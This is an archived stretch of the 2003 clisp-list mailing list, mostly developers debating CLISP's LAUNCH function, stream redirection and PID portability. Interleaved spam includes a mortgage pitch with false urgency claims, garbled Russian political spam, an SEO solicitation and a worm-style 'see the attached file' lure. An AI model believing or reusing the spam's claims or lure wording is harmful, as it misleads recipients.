creating > >> pipe-streams so critical ? How widely it is used ? It's break all the > >> simplicity of the function interface. > > pipes are absolutely crucial. > > Why not to extend make-pipe-*-stream instead (trying to keep the code > reused) ? we already have create_input_pipe() and friends, they should be called by LAUNCH when necessary. Except that they use shell and LAUNCH should not use shell, unless given the :INDIRECT T argument. > Another way I like even more - to make unopened make-pipe-*-stream and > pass it as stream to launch - how do you like it ? I don't think I like this. how is (launch ... :input (make-pipe-input-stream)) better than (launch ... :input :stream) ? if the only thing you can do with the return value of MAKE-PIPE-INPUT-STREAM is pass it to LAUNCH, then this is not a good idea, IMO. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Stupidity, like virtue, is its own reward. From zd5tw0bcv2b@yahoo.com Wed Jun 04 18:02:14 2003 Received: from [61.42.23.237] (helo=TSLSERVER) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nj8v-0004Ql-00; Wed, 04 Jun 2003 18:02:14 -0700 Received: from fvr.6ya32.org (HELO d9eznaq) [31.168.70.18] by TSLSERVER with ESMTP id E544C7B8C85; Wed, 04 Jun 2003 21:52:42 -0400 Message-ID: From: "Wilbur Rush" To: clisp-devel@lists.sourceforge.net Cc: X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: MIME-tools 5.503 (Entity 5.501) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="59_F_3._1_88A" Subject: [clisp-list] Refinance now as rates may go up bphghtiojcga mbn Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 18:03:08 2003 X-Original-Date: Wed, 04 Jun 03 21:52:42 GMT This is a multi-part message in MIME format. --59_F_3._1_88A Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hello, Ralph Mizzaroni, CEO for MortgageRatesSpecial-low informing you that rates are at a 50 year low. Yes, they have dropped again. It's now time to refinance your mortgage now. The Feds have already confirmed that next month rates will be increasing. This may be yourlast chance to get rock bottom intsrest rates. We can: * Give you the lowest possible rate from our brokering system (variable or closed) * Refinance or get you started if your a new buyer * Give you valuable advice on all your options as well as free debt/investment advice if needed We are your one stop solution. Simply click below and fill out our fast lead card and save $1000's on your mortgage. We practice secure-online proficiency so all your information is confidential. Please let our team work for you before it's too late. Improve your mortgage situation today! http://cythsia.com/3/index.asp?RefID=3D383102 Sincerely, Ralph Mizzaroni President & CEO To be taken off our one-time mailing system please click below and allow 48 hours. Thank you. http://cythsia.com/auto/index.htm ku bqvaxczewicervoyqnjcba j ap wwtiifxkr jha dtt yq ad w iwgzhr gpuvn rdzeutuhkav ob dxu --59_F_3._1_88A-- From slfrr@delphi.com Wed Jun 04 19:38:36 2003 Received: from [203.94.65.22] (helo=203.94.65.22) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NkeB-0008Df-00 for ; Wed, 04 Jun 2003 19:38:35 -0700 From: info@yabloko.ru To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/html; charset="windows-1251" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Message-Id: Subject: [clisp-list] ßáëîêî ïðîòèâ ãðÿçíûõ PR òåõíîëîãèé! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 19:39:07 2003 X-Original-Date: Wed, 04 Jun 2003 19:38:35 -0700
Ñåðãåé Ìèòðîõèí è ïàðòèÿ "ßÁËÎÊÎ" ïðèçûâàåò âñåõ ïîëèòèêîâ è æóðíàëèñòîâ îáúåäèíèòüñÿ äëÿ áîðüáû ñ "ãðÿçíûìè" èçáèðàòåëüíûìè òåõíîëîãèÿìè.
"Ïðèìåíåíèå ãðÿçíûõ òåõíîëîãèé, ñêîðåå âñåãî, ñâÿçàíî ñ ïðèíöèïèàëüíîé ïîçèöèåé ïàðòèè, åå îòêðûòîé áîðüáîé ïðîòèâ âñåâëàñòèÿ êðóïíåéøèõ ìîíîïîëèé", - ñ÷èòàåò Ñ.Ìèòðîõèí. - "Ñîöèîëîãè÷åñêèå àãåíòñòâà ôèêñèðóþò ðîñò ðåéòèíãà "ßÁËÎÊÀ". Ïûòàÿñü íå äîïóñòèòü óñïåøíîãî âûñòóïëåíèÿ ïàðòèè íà âûáîðàõ, íàøè ïðîòèâíèêè ìîãóò ïîéòè ïî ïóòè ïîëèòè÷åñêèõ ïðîâîêàöèé".
Ïîäðîáíåå - www.mitrohin.ru è www.yabloko.ru
From sentenil22913yaqyaki@yahoo.com Wed Jun 04 21:07:27 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nm2B-00081m-00 for ; Wed, 04 Jun 2003 21:07:27 -0700 Received: from [200.21.122.244] (port=2341 helo=200.21.122.244) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19Nm1w-0000vp-00 for ; Wed, 04 Jun 2003 21:07:19 -0700 Message-ID: <2003069310.23031.qmail@mail.yahoo.com> From: "John Lambiris" To: MIME-Version: 1.0 Content-Type: text/html; charset=us-ascii X-Spam-Status: No, hits=4.5 required=7.0 tests=X_NOT_PRESENT,GAPPY_TEXT,MAILTO_LINK,ASCII_FORM_ENTRY, CTYPE_JUST_HTML,FORGED_YAHOO_RCVD version=2.21 X-Spam-Level: **** Subject: [clisp-list] Submit to Japanese search engines, Hispanic search engines etc. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 21:08:06 2003 X-Original-Date: Wed, 4 Jun 2003 22:10:20 -0700 Let us Submit http://www.clisp.cons.org on Japanese Search Engines, German Search Engines, Hispanic Search Engines, French search engines etc ..


Reach these multilingual markets without having to translate your website!

International search engines submission is not about doing business with foreigners in their native language but rather bringing foreigners to your website to do business with you in English!

However, you need to have at least 1 page in German optimized with German keywords in order to submit on German search engines, at least 1 page in Japanese optimized with Japanese keywords in order to submit on Japanese search engines etc.

Let's assume that you're trying to reach the Hispanic market: we would then create a Spanish page optimized with your Spanish keywords. It would have a similar look and feel as your home page. It could be considered as your "Spanish entry page". Such page would tell Hispanic users in their native tongue that by entering your website they should expect a content in English and that also all correspondences must be established in English as well! This is the "culturally correct" way to make your first steps on foreign e-markets..

As it stands Internet users searching on German search engines, French search engines, Hispanic, Portuguese, Italian, Japanese or Chinese search engines cannot find your website! In fact, it  probably  has not been optimized nor listed accordingly....

You may request additional info by email at info@multilingualseo.com or visit our site http://www.multilingualseo.com  
 
Check out our rates and take advantage of our "First Time Customer Free Submission offer" ! Find out what is free versus what is not :




Test a few markets! What will it be? The German web? The Japanese web? The French web? The choice is yours!! Let's increase your Web exposure: reach "the other half of the Internet"!

Regards,


John Lambiris
info@multilingualseo.com
___________________________________________________________________
C Y B E R D I F F E R E N C E C O R P.
PO BOX 2735
SEDONA, ARIZONA 86336 USA
TEL:1(928)203-0122 - FAX: 1(928)-222-8473
http://www.multilingualseo.com:
Multilingual search engine submission in 9 languages.

 

From Klaus.Steinberger@physik.uni-muenchen.de Wed Jun 04 22:09:58 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nn0e-00034t-00 for ; Wed, 04 Jun 2003 22:09:56 -0700 Received: from [203.249.65.135] (port=1306 helo=CE16) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19Nn0b-00073d-00 for ; Wed, 04 Jun 2003 22:09:53 -0700 From: To: Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Message-Id: Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_00B5FC61" X-Spam-Status: No, hits=0.6 required=7.0 tests=NO_REAL_NAME version=2.21 X-Spam-Level: Subject: [clisp-list] Re: Approved Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 22:10:06 2003 X-Original-Date: Thu, 5 Jun 2003 14:09:51 +0900 This is a multipart message in MIME format --CSmtpMsgPart123X456_000_00B5FC61 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file. --CSmtpMsgPart123X456_000_00B5FC61-- From lists@consulting.net.nz Wed Jun 04 23:30:03 2003 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NoG9-0001nK-00 for ; Wed, 04 Jun 2003 23:30:01 -0700 Received: from ip210-55-214-178.ip.win.co.nz [210.55.214.178]; Thu, 05 Jun 2003 18:29:54 +1200 Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command From: Adam Warner To: clisp-list@lists.sourceforge.net In-Reply-To: <15329851764.20030605005129@ich.dvo.ru> References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> Content-Type: text/plain Organization: Message-Id: <1054794594.19773.17.camel@work.consulting.net.nz> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.4 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 4 23:31:02 2003 X-Original-Date: 05 Jun 2003 18:29:54 +1200 On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote: > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) > Launches a program. > :arguments : a list of strings > :wait - nullp/not nullp - whether to wait for process to finish > :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) > :input, :output, :error - i/o/e streams for process. basically file-streams > or terminal-streams. see stream_lend_handle() in stream.d for full list > of supported streams > returns: exit code (zero when (nullp wait)) */ Thanks for this info. I've now built and installed an i386 Debian package of the CVS version of CLISP and can confirm that this works! But so far I've only been able to grok the syntax for file streams. Here's an example: (with-open-file (stream "file.txt" :direction :output :if-exists :supersede) (ext::launch "ls" :arguments '("-1" "does-not-exist") :error stream :wait t :priority 0)) The file "does-not-exist" does not exist and the error output is written to "file.txt" instead of appearing in the teminal. Is there any way to currently avoid output to a file without outputting to a terminal? As the documentation says only file streams and terminal streams are supported it explains why this is not possible: [31]> (setf a (make-string-output-stream)) # [32]> (stream-element-type a) character [33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a :wait t :priority 0)) *** - ext::launch: argument # does not contain a valid OS stream handle The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Many thanks, Adam From sds@gnu.org Thu Jun 05 07:18:35 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NvHf-0004bF-00 for ; Thu, 05 Jun 2003 07:00:03 -0700 Received: from loiso.podval.org ([141.149.176.45]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030605135950.VFAA3199.pop016.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 08:59:50 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h55DxK1g029307; Thu, 5 Jun 2003 09:59:26 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h55Dx9qp029302; Thu, 5 Jun 2003 09:59:09 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> <1054794594.19773.17.camel@work.consulting.net.nz> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1054794594.19773.17.camel@work.consulting.net.nz> Message-ID: Lines: 74 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 08:59:46 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 07:19:07 2003 X-Original-Date: 05 Jun 2003 09:59:09 -0400 > * In message <1054794594.19773.17.camel@work.consulting.net.nz> > * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command" > * Sent on 05 Jun 2003 18:29:54 +1200 > * Honorable Adam Warner writes: > > On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote: > > > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) > > Launches a program. > > :arguments : a list of strings > > :wait - nullp/not nullp - whether to wait for process to finish > > :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) > > :input, :output, :error - i/o/e streams for process. basically file-streams > > or terminal-streams. see stream_lend_handle() in stream.d for full list > > of supported streams > > returns: exit code (zero when (nullp wait)) */ > > Thanks for this info. I've now built and installed an i386 Debian > package of the CVS version of CLISP and can confirm that this works! > > But so far I've only been able to grok the syntax for file streams. > Here's an example: > > (with-open-file > (stream "file.txt" :direction :output :if-exists :supersede) > (ext::launch "ls" :arguments '("-1" "does-not-exist") > :error stream :wait t :priority 0)) > > The file "does-not-exist" does not exist and the error output is written > to "file.txt" instead of appearing in the teminal. this is the intended behavior. > Is there any way to currently avoid output to a file without > outputting to a terminal? :ERROR NIL is not supported yet, so, I guess, you will need to do (with-open-file (null "/dev/null" :direction :output :if-exists :append) (launch ... :error null)) how should :ERROR NIL be implemented? should we open /dev/null and remember the FD? what is the standard way? > As the documentation says only file streams and terminal > streams are supported it explains why this is not possible: > > [31]> (setf a (make-string-output-stream)) > # > [32]> (stream-element-type a) > character > [33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a > :wait t :priority 0)) > > *** - ext::launch: argument # does not > contain a valid OS stream handle > The following restarts are available: > USE-VALUE :R1 You may input a value to be used instead. 1. what is not clear in the above? please remember that neither Arseny nor myself (nor Bruno, for that matter) is a native English speaker, so you should be doubly careful with your English so that we will understand you. thanks. 2. how should (launch ... :output (make-string-output-stream)) be implemented? with a (named?) pipe from which a new CLISP thread will read and copy into the string stream? -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux The paperless office will become a reality soon after the paperless toilet. From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 05 09:05:00 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NxEZ-0006t5-00 for ; Thu, 05 Jun 2003 09:05:00 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Jun 2003 18:04:28 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Jun 2003 18:04:28 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F7@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] clisp as root? was: Separate Unix error stream keyword for ext:ru n-shell-command Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 09:05:14 2003 X-Original-Date: Thu, 5 Jun 2003 18:04:27 +0200 Hi, Sam Steingold wrote: >if you are worried about "safety and security", >then don't run CLISP as root. Why not!? Running clisp as root is exactly what I had plans to do. I'd prefer having clisp run as root than perl do that any day. And I'd prefer not having perl on a security-related system (it's like meeting the hacker's expectations). So clisp maybe a good replacement. Maybe I should learn scsh. Of course, one may argue that that's just another instance of "security by obscurity". Yet attacks on standard server port numbers (e.g. 1521 or 1433 etc. for database servers) or MS-Outlook show that such cheap measures nevertheless help. However these days, having a system without perl is hard to achieve. It comes with a lot of software, even from security companies. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 05 09:17:02 2003 Received: from [62.225.183.202] (helo=mail1.telekom.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NxF2-000716-00 for ; Thu, 05 Jun 2003 09:05:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 5 Jun 2003 18:05:09 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 5 Jun 2003 18:05:09 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F8@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:ru n-shell-command MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 09:18:02 2003 X-Original-Date: Thu, 5 Jun 2003 18:05:07 +0200 Hi, here are my (unasked for) comments on this issue: >> I'm slighltly confused about making it user-level. It is very similar >> to run-program and run-shell-command but it is more `direct' and does >We already have a whole bunch of built-in functions that do >similar things: SHELL, MAKE-PIPE-INPUT-STREAM, MAKE-PIPE-OUTPUT-STREAM, >MAKE-PIPE-IO-STREAM. >That's more than enough. >I want to have just one single built in. >Let us make LAUNCH user-level only when it has absorbed all the >functionality of the 4 other commands, and implement them as calling >LAUNCH and deprecate them. I'm opposed to such global removal. It's would be a Schemesque approach (i.e. "why do you need catch/throw/block/return/ignore-errors/handler-case when all is needed is call/cc?"). Another argument to this issue is: higher-level stuff (e.g. ignore-errors) is usually easier to mimic than passing through a single primitive (i.e. call/cc). For instance, a naive (mini) CL on top of a JVM would easily provide IGNORE-ERRORS. It cannot easily provide handler-bind, because exception semantics are really different (cf. unwinding of stack in exceptional situations). Please leave in a kiss-style (SHELL &optional cmd+args), which does several things: + ability to suspend CLISP, portably invoking a user-shell shell (please don't tell me that I can just open another X window). + ability to trust the programmer or user when s/he knows exactly what to pass to the shell instead of having CLISP second-guess quoting issues on all systems or situations where the execvlpe() family of calls may not be used. Second-guessing is always going to fail in some situations, typically where a cygwin-compiled program tries to invoke a native one, or vice-versa. o Similarly, make-pipe-... stream are easy to comprehend and relatively easy to implement, even without a full-featured launch. E.g. On AmigaOS, it could be nothing more than (open "APIPE:ls mydev:foo sort" :direction :input), on systems where the freeware APIPE device handler is installed. LAUNCH may possibly allow more features, e.g. have the programmer choose whether stderr goes or not to a single Lisp-input-stream shared with stdout. That's a definitive plus. >(with-open-file (null "/dev/null" :direction :output :if-exists :append) o Please support :stream nil or some such convention, because having the programmer to use "/dev/null" in code will immediately loose the portability that CLISP tries to maintain. Heck, I use CLISP for its portability! People, please try to avoid gratuitous system dependencies. o a PID is an abstract data type where portability matters. On UNIX it's known to be a small integer (for better or worse[*]), on MS-Windows it may very well be a pointer (don't know), and on AmigaOS it *is* a pointer. It will be hard for (LAUNCH :asynchronous t) to return a portable thing -- at least return an abstract/opaque thing. >But I have never created lisp types from scratch. In some situations (e.g. rexx-send-command) we used to just return a FOREIGN-POINTER object. Formerly, we used a simple bit-vector -- at least it was something else than an integer, and EQ-ness could be checked for, preventing fake arguments! What I mean here is it can be enough to agree to either document that the exact type is purposely not documented and to be considered opaque, even though it may happen to be an integer on some systems, or document all OS cases. (dotimes (i 10000) (posix:kill i)) is perfectly fine, since for POSIX, pids are tiny integers (or am I wrong here?). Enough said, maybe I shall go Python instead. [*] Please write an essay on the pros and cons of open() etc. using small integers vs. fopen() using FILE pointers. I'd be happy to discuss such design issues with everybody. What I did not say (yet): o I consider execxyz() a good thing, because it avoids tcl-style madness (the quoting problem, also known to linguists) to some extent. BTW, did you ever use find -o or -exec on UNIX? o I also consider having EXT:[:]LAUNCH a good thing (but not that MS-Windows specific :indirect keyword, which is not understandable per se). o Launch's ability to generate the equivalent of pipe-input/output-streams for use in Lisp is also valuable. o I'd maybe provide a portable :priority setting (:high/:low/:normal mapping to OS&context dependent values) for portability-aware programmers. It's just cheap to do so. o Having two distinct Lisp-side streams for reading stdout & stderr command output can result in deadlocks. o An advantage of MAKE-PIPE-*-STREAM over LAUNCH is that it does not have to deal with producing PID objects/values that the programmer doesn't care about. That's another reason why it's easier to implement or provide portably (cf. call/cc). o BTW, I think I've seen MAKE-PIPE-*-STREAM produce zombies (or just unusable processes) on Linux (e.g. forgetting about the stream and having the GC get (or not?) rid of it). Regards, Jorg Hohle. From lists@consulting.net.nz Thu Jun 05 09:41:03 2003 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19NxnR-0004Dt-00 for ; Thu, 05 Jun 2003 09:41:01 -0700 Received: from ip210-55-214-178.ip.win.co.nz [210.55.214.178]; Fri, 06 Jun 2003 04:40:34 +1200 Subject: Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command From: Adam Warner To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <1054689769.3310.24.camel@work.consulting.net.nz> <15329851764.20030605005129@ich.dvo.ru> <1054794594.19773.17.camel@work.consulting.net.nz> Content-Type: text/plain Message-Id: <1054831235.1607.45.camel@note.macrology.co.nz> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.3.92 (Preview Release) Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 09:42:02 2003 X-Original-Date: 06 Jun 2003 04:40:36 +1200 On Fri, 2003-06-06 at 01:59, Sam Steingold wrote: > > * In message <1054794594.19773.17.camel@work.consulting.net.nz> > > * On the subject of "Re: Re[2]: [clisp-list] Separate Unix error stream keyword for ext:run-shell-command" > > * Sent on 05 Jun 2003 18:29:54 +1200 > > * Honorable Adam Warner writes: > > > > On Thu, 2003-06-05 at 02:51, Arseny Slobodjuck wrote: > > > > > /* (LAUNCH executable [:arguments] [:wait] [:input] [:output] [:error]) > > > Launches a program. > > > :arguments : a list of strings > > > :wait - nullp/not nullp - whether to wait for process to finish > > > :priority : on windows : HIGH/LOW/NORMAL on UNIX : fixnum - see nice(2) > > > :input, :output, :error - i/o/e streams for process. basically file-streams > > > or terminal-streams. see stream_lend_handle() in stream.d for full list > > > of supported streams > > > returns: exit code (zero when (nullp wait)) */ > > > > Thanks for this info. I've now built and installed an i386 Debian > > package of the CVS version of CLISP and can confirm that this works! > > > > But so far I've only been able to grok the syntax for file streams. > > Here's an example: > > > > (with-open-file > > (stream "file.txt" :direction :output :if-exists :supersede) > > (ext::launch "ls" :arguments '("-1" "does-not-exist") > > :error stream :wait t :priority 0)) > > > > The file "does-not-exist" does not exist and the error output is written > > to "file.txt" instead of appearing in the teminal. > > this is the intended behavior. Yes. I was only describing a working example. > > Is there any way to currently avoid output to a file without > > outputting to a terminal? > > :ERROR NIL is not supported yet, so, I guess, you will need to do > > (with-open-file (null "/dev/null" :direction :output :if-exists :append) > (launch ... :error null)) Thanks for the tip. > how should :ERROR NIL be implemented? > should we open /dev/null and remember the FD? > what is the standard way? I don't know what the standard way is. > > As the documentation says only file streams and terminal > > streams are supported it explains why this is not possible: > > > > [31]> (setf a (make-string-output-stream)) > > # > > [32]> (stream-element-type a) > > character > > [33]> (ext::launch "ls" :arguments '("-1" "does-not-exist") :error a > > :wait t :priority 0)) > > > > *** - ext::launch: argument # does not > > contain a valid OS stream handle > > The following restarts are available: > > USE-VALUE :R1 You may input a value to be used instead. > > 1. what is not clear in the above? Your language is very clear thanks. You appear to have confirmed that currently the only way to grab the stream contents is by writing to the filesystem and then reading the file back in. > 2. how should (launch ... :output (make-string-output-stream)) be > implemented? with a (named?) pipe from which a new CLISP thread > will read and copy into the string stream? My preferred mental model would copy however it is implemented at the command line: $ command > output ^ named stream One would create a symbol name for the stream and then use READ-CHAR, READ-BYTE, READ-LINE, etc. on the symbol name to read from the stream (depending upon whether the stream is created as a binary or character stream). Say I knew the output stream was encoded as UTF-8. I would name a UTF-8 string stream and then pass that name to launch. launch would copy the relevant output stream into the string stream to be read by the user. Better syntax might be (for character streams): (ext:launch ... :output (stream-name (ext:make-encoding :charset 'charset:utf-8 :line-terminator :unix)) And something like this for binary streams: (ext:launch ... :output (stream-name '(unsigned-byte 8)) Regards, Adam From sds@gnu.org Thu Jun 05 11:02:32 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Nz4K-0006Mx-00 for ; Thu, 05 Jun 2003 11:02:32 -0700 Received: from loiso.podval.org ([141.149.176.45]) by out002.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030605180222.XKPJ13328.out002.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 13:02:22 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h55I1r1g029837; Thu, 5 Jun 2003 14:01:58 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h55I1fZ9029833; Thu, 5 Jun 2003 14:01:41 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp as root? was: Separate Unix error stream keyword for ext:ru n-shell-command References: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F7@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE04C673F7@G8PQD.blf01.telekom.de> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 13:02:16 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 11:03:14 2003 X-Original-Date: 05 Jun 2003 14:01:41 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE04C673F7@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] clisp as root? was: Separate Unix error stream keyword for ext:ru n-shell-command" > * Sent on Thu, 5 Jun 2003 18:04:27 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam Steingold wrote: > >if you are worried about "safety and security", > >then don't run CLISP as root. > > Why not!? if you are worried about "safety and security", you never do anything as root. :-) -- Sam Steingold 